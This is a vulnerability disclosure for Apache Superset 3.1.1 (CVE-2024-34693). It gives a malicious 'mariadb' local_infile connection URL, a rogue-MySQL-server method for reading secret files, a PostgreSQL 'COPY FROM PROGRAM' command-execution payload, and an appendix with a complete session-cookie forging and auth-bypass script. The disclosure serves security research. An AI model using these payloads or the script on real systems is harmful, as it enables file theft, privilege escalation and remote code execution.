0% found this document useful (0 votes)
2 views

Apache Superset - CVE-2024-34693

Uploaded by

mtvscript
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
2 views

Apache Superset - CVE-2024-34693

Uploaded by

mtvscript
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 8

Apache Superset Disclosures

Version 3.1.1

Environment:
- Apache Superset 3.1.1
- Docker

Setup:
In order to setup the environment on an Ubuntu Linux machine with Docker Compose
installed the following command were run:
git clone https://github.com/apache/superset.git
cd superset
export TAG=3.1.1
docker compose -f docker-compose-image-tag.yml up

Once the server is started it can be accessed on “localhost:8088”.

Findings:
1. CVE-2024-34693: Server Arbitrary File Read
Description:
The “mariadb” protocol in Apache Superset is not protected against the “local_infile”
parameter. This can be leveraged by attackers with the ability to create arbitrary database
connections in order to launch “LOAD DATA LOCAL INFILE” (Rogue MySQL Server) attacks
resulting in the reading of arbitrary files on the target.

Note: By exfiltrating sensitive information from the application an attacker may be able to
perform additional actions such as:
• Escalate privileges in the Apache Superset application by exfiltrating the Flask secret
• Obtain Remote Code Execution on the database if a PostgreSQL DB is used
Proof of Concept:
Unlike the “mysql” protocol, which has protections preventing the creation of DB
connections with the “local_infile” parameter present in the connection URL, the “mariadb”
protocol does include these protections.

Example trying to connect using a malicious “mysql” URL:

In order to bypass this an attacker can simply switch from the “mysql” protocol to the
“mariadb” protocol, that uses the same MySQL Driver, but does not enforce the
“local_infile” protection.

Example “mariadb” URL:


mariadb://172.17.0.1/xxx?local_infile=1

Trying to connect using a malicious “mariadb” URL:

In order to directly exfiltrate the contents of arbitrary files via the “mariadb” connection, we
can use “Bettercap’s Rogue MySQL Server”1 feature to automate this process.

1
https://www.bettercap.org/modules/ethernet/servers/mysql.server/
After the Rogue MySQL server is set and started, once the DB connection is made from
Apache Superset, the content of the desired file will be automatically exfiltrated:

Note: In this case the content of the “/etc/passwd” file from the “superset_app” docker
container has been exfiltrated.

From here an attacker may leverage this Arbitrary File Read vulnerability in order to:
1.1. Escalate Privileges in Apache Superset by exfiltrating the Flask secret:
Note: This attack is relevant only in the scenario in which a non-administrative user
was used in order to create arbitrary DB connections, or in order to obtain a
persistent authentication method in the application even if the admin password is
changed.

By reading files such as “/proc/self/environ” or “/app/docker/.env”, an attacker may


be able to exfiltrate the “SUPERSET_SECRET_KEY” parameter used by the Flask web
server to sign session cookies.

Example exfiltrating “/proc/self/environ”:


Example exfiltrating “/app/docker/.env”:

Now, by taking the exfiltrated Flask Secret we can use it to craft a valid administrative
cookie for the Superset application.

Note: In this case we have reused the code from horizon3ai’s “CVE-2023-27524:
Apache Superset Auth Bypass”2 to generate a valid administrative cookie using the
exfiltrated secret.

Note 2: The python code for “CVE-2023-27524.py” can be found in the appendix
section.

2
https://github.com/horizon3ai/CVE-2023-27524
1.2. Obtain Remote Code Execution on the PostgreSQL DB:
Note: This attack is relevant only in the scenario in which a PostgreSQL DB is used
and setup in the environment of the target.

Note 2: The insecure default setup of Apache Superset applications is to connect to a


PostgreSQL database using the credentials “superset:superset”.

As in the previous example we can read the files “/proc/self/environ” or


“/app/docker/.env” in order to get the username and password used by superset to
authenticate to the default DB.

Example exfiltrating “/app/docker/.env”:

By using these credentials we can create a new PostgreSQL database connection as


the “superset” user.
In order to execute arbitrary command via the new PostgreSQL DB connection, we
will need to enable the “Expose database in SQL Lab” and “Allow DML” options in the
“Advanced - SQL Lab” options of the connections.

From here, if all the above steps were performed correctly, we should be able to
execute system command on the DB via the following SQL command:
DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM
PROGRAM 'id';SELECT * FROM cmd_exec;

Note: In this case we will execute the Linux “id” command.

Executing arbitrary commands on the DB via “SQL Lab”:


Appendix:
CVE-2023-27524.py:
from flask_unsign import session
import requests
import urllib3
import argparse
import re
from time import sleep
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

SECRET_KEYS = [
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
b'thisISaSECRET_1234', # deployment template
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
b'TEST_NON_DEV_SECRET', # docker compose
b'ITS_NOT_A_SECRET_IF_EVERYBODY_KNOWS_IT'
]

def main():

parser = argparse.ArgumentParser()
parser.add_argument('--url', '-u', help='Base URL of Superset instance',
required=True)
parser.add_argument('--id', help='User ID to forge session cookie for, default=1',
required=False, default='1')
parser.add_argument('--validate', '-v', help='Validate login', required=False,
action='store_true')
parser.add_argument('--timeout', '-t', help='Time to wait before using forged
session cookie, default=5s', required=False, type=int, default=5)
args = parser.parse_args()

try:
u = args.url.rstrip('/') + '/login/'

headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0)
Gecko/20100101 Firefox/101.0'
}

resp = requests.get(u, headers=headers, verify=False, timeout=30,


allow_redirects=False)
if resp.status_code != 200:
print(f'Error retrieving login page at {u}, status code:
{resp.status_code}')
return

session_cookie = None
for c in resp.cookies:
if c.name == 'session':
session_cookie = c.value
break

if not session_cookie:
print('Error: No session cookie found')
return

print(f'Got session cookie: {session_cookie}')

try:
decoded = session.decode(session_cookie)
print(f'Decoded session cookie: {decoded}')
except:
print('Error: Not a Flask session cookie')
return

match = re.search(r'&#34;version_string&#34;: &#34;(.*?)&#34', resp.text)


if match:
version = match.group(1)
else:
version = 'Unknown'

print(f'Superset Version: {version}')


for i, k in enumerate(SECRET_KEYS):
cracked = session.verify(session_cookie, k)
if cracked:
break

if not cracked:
print('Failed to crack session cookie')
return

print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')

try:
user_id = int(args.id)
except:
user_id = args.id

forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)


print(f'Forged session cookie for user {user_id}: {forged_cookie}')

if args.validate:
validated = False
try:
headers['Cookie'] = f'session={forged_cookie}'
print(f'Sleeping {args.timeout} seconds before using forged cookie to
account for time drift...')
sleep(args.timeout)
resp = requests.get(u, headers=headers, verify=False, timeout=30,
allow_redirects=False)
if resp.status_code == 302:
print(f'Got 302 on login, forged cookie appears to have been
accepted')
validated = True
else:
print(f'Got status code {resp.status_code} on login instead of
expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
except Exception as e_inner:
print(f'Got error {e_inner} on login instead of expected redirect 302.
Forged cookie does not appear to be valid. Re-check user id.')

if not validated:
return

print('Enumerating databases')
for i in range(1, 101):
database_url_base = args.url.rstrip('/') + '/api/v1/database'
try:
r = requests.get(f'{database_url_base}/{i}', headers=headers,
verify=False, timeout=30, allow_redirects=False)
if r.status_code == 200:
result = r.json()['result'] # validate response is JSON
name = result['database_name']
print(f'Found database {name}')
elif r.status_code == 404:
print(f'Done enumerating databases')
break # no more databases
else:
print(f'Unexpected error: status code={r.status_code}')
break
except Exception as e_inner:
print(f'Unexpected error: {e_inner}')
break

except Exception as e:
print(f'Unexpected error: {e}')

if __name__ == '__main__':
main()

Note: The python code “CVE-2023-27524.py” was taken from


https://github.com/horizon3ai/CVE-2023-27524

You might also like